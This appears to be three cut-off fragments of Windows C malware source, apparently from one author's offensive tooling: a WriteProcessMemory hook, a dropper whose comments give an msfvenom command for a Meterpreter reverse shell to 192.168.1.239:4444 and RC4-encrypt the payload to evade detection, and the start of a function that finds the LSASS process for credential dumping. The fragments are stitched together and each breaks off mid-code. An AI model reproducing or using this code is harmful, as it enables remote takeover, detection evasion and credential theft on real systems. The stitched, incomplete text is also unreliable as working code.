bats3c

#include <stdio.h>
#include <windows.h>

#define BUFFER_FILE ".\\wpm_buffer.bin"

// definitions
typedef WINBOOL (WINAPI * WriteProcessMemory_) (HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);

char OrgWriteProcMem[50] = {};

bats3c

#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>
#include <tlhelp32.h>

/****************************************************************************************************/
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.239 LPORT=4444 -f raw -o meter.bin
// cat meter.bin | openssl enc -rc4 -nosalt -k "HideMyShellzPlz?" > encmeter.bin
// xxd -i encmeter.bin
// x86_64-w64-mingw32-gcc dropper.c -o dropper.exe

bats3c

#include <stdio.h>
#include <windows.h>
#include <dbghelp.h>
#include <tlhelp32.h>

DWORD findLsass()
{
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    if(hSnapshot)
    {